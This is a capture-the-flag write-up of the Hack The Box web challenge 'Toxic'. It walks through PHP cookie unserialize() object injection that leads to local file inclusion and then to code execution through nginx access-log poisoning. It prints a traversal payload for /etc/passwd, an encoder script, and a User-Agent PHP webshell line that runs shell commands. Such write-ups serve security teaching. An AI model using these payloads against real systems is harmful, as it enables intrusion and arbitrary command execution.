Toxic (HTB web)
unserialize() of a session cookie gives lfi via __destruct, then log poisoning for rce
The app base64-decodes the PHPSESSID cookie and unserialize()s it into a PageModel whose __destruct() runs include() on a controlled path. That is local file inclusion. I read /etc/passwd to confirm, then pointed the include at the nginx access log and poisoned the User-Agent with PHP for code execution.
the challenge
Toxic was a static-looking “Dart Frog” marketing page served by nginx with php7-fpm on Alpine. The HTML was a plain template with no forms and no obvious parameters. The interesting part was the session handling.
There was no real session backend. The app faked one with a cookie named PHPSESSID holding a base64-encoded, serialized PHP object. The entire server-side logic was in index.php:
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
The autoloader pulled in any class whose name ended in Model from the models/ directory. On a first visit with no cookie, the app built a PageModel, set its file property to /www/index.html, then serialized, base64-encoded, and handed it back as the PHPSESSID cookie with a 24-hour expiry. On every request it base64-decoded whatever PHPSESSID it received and passed it straight to unserialize(). There was no signature, no HMAC, nothing tying the cookie to the server, so the object it rebuilt was entirely under my control.
PageModel was four lines and carried the whole vulnerability:
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
__destruct() is a PHP magic method that runs automatically when the object is destroyed, which here is the end of script execution. It calls include() on the object’s file property. That is how the homepage renders in the first place: the default cookie holds a PageModel pointing at /www/index.html, and when the script ends, __destruct() includes it and the page prints.
the bug
The cookie is attacker-controlled and goes directly into unserialize(), so I control the reconstructed object and every property on it. unserialize() rebuilds a PageModel with whatever file value I encode, and when the script finishes, that object’s __destruct() runs include($this->file). A controlled path into include() is local file inclusion, and because include() parses and executes any PHP it finds in the included file, an LFI here is also a path to remote code execution.
This is the textbook PHP object-injection-to-LFI chain. There is no gadget hunting to do: the only class the autoloader will load is PageModel, its __destruct is the sink, and that sink takes my property verbatim. The injection point (the cookie) and the gadget (PageModel::__destruct) line up with no glue needed.
I started by base64-decoding the default cookie to see the exact serialized shape the target expected:
O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}
Reading the PHP serialization format:
O:9:"PageModel"is an object whose class name is 9 characters,PageModel.:1:is the property count, one property.s:4:"file"is the property name, a 4-character stringfile.s:15:"/www/index.html"is the value, a 15-character string.
The string-length prefixes have to match the byte count exactly or unserialize() rejects the object and never builds it, so I rebuilt the structure by hand with a traversal path and the correct length. ../../../../../etc/passwd is 25 characters, so the prefix is s:25:
O:9:"PageModel":1:{s:4:"file";s:25:"../../../../../etc/passwd";}
I base64-encoded that, set it as the PHPSESSID cookie, and sent a request. The response body came back as the contents of /etc/passwd. The ../ chain over-traverses past the filesystem root, which is harmless because climbing above / just stays at /, so the path resolves to /etc/passwd. LFI confirmed.
the solve
Reading files was useful, but the flag had a randomized name (more on that below), so I needed code execution to enumerate it. The route from LFI to RCE was log poisoning.
The nginx config in the source named the log path and, importantly, the log format that captured the User-Agent:
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /var/log/nginx/access.log docker;
Every request, including its User-Agent header, gets written verbatim into /var/log/nginx/access.log. If I include that log through the LFI and my User-Agent contains PHP, include() parses and runs it. Two steps: first plant PHP in the log, then include the log.
I generated the cookie that pointed the include at the access log. /var/log/nginx/access.log is also 25 characters, so the same length prefix applied. I built it with a tiny PHP script rather than by hand to avoid an off-by-one in the length:
<?php
class PageModel
{
public $file;
}
$page = new PageModel;
$page->file = '/var/log/nginx/access.log';
print(base64_encode(serialize($page)))
?>
That produced the base64 for the serialized object:
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
Step one, poison the log. I sent a request with PHP in the User-Agent so nginx wrote it into the access log:
GET / HTTP/1.1
Host: TARGET
User-Agent: <?php system($_GET['c']); ?>
Step two, include the poisoned log and pass a command. I swapped the cookie to the access-log object and added the c parameter:
GET /?c=ls+/ HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=<base64 of the access.log PageModel>
When __destruct() included /var/log/nginx/access.log, the PHP interpreter reached my logged <?php system($_GET['c']); ?> line and executed it, running ls / from the c parameter. The output came back in the response body where the page normally renders. I had RCE.
One dead end worth recording. I first tried a Python encoder using jsonpickle to build the cookie:
import base64
import jsonpickle
class PageModel:
def __init__(self):
self.file = None
page = PageModel()
page.file = '/var/log/nginx/access.log'
serialized_page = jsonpickle.encode(page)
encoded_page = base64.b64encode(serialized_page.encode())
print(encoded_page)
jsonpickle emits its own JSON-based serialization format, not PHP’s O:9:"PageModel":... wire format. The target’s unserialize() only speaks PHP serialization, so that output is rejected and the include never fires. The PHP serialize() output is the only thing that works here, which is why I dropped the Python approach for the small PHP encoder above.
the flag
The flag was not in the web root. The container entrypoint renamed /flag to /flag_<random> using five characters from /dev/urandom:
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
So the path was unguessable and I had to enumerate it. With code execution through the poisoned log, I listed /:
GET /?c=ls+/ HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=<base64 of the access.log PageModel>
That surfaced a flag_XXXXX file at the root with the five random characters. Then I read it:
GET /?c=cat+/flag_XXXXX HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=<base64 of the access.log PageModel>
The contents rendered back in the page. It read like HTB{P0i5on_..._W4rF4R3?!}, a poison theme fitting the dart-frog dressing. One unserialize() on a controlled cookie, a __destruct that includes a controlled path, and an access log that records the User-Agent chained cleanly from object injection to full command execution.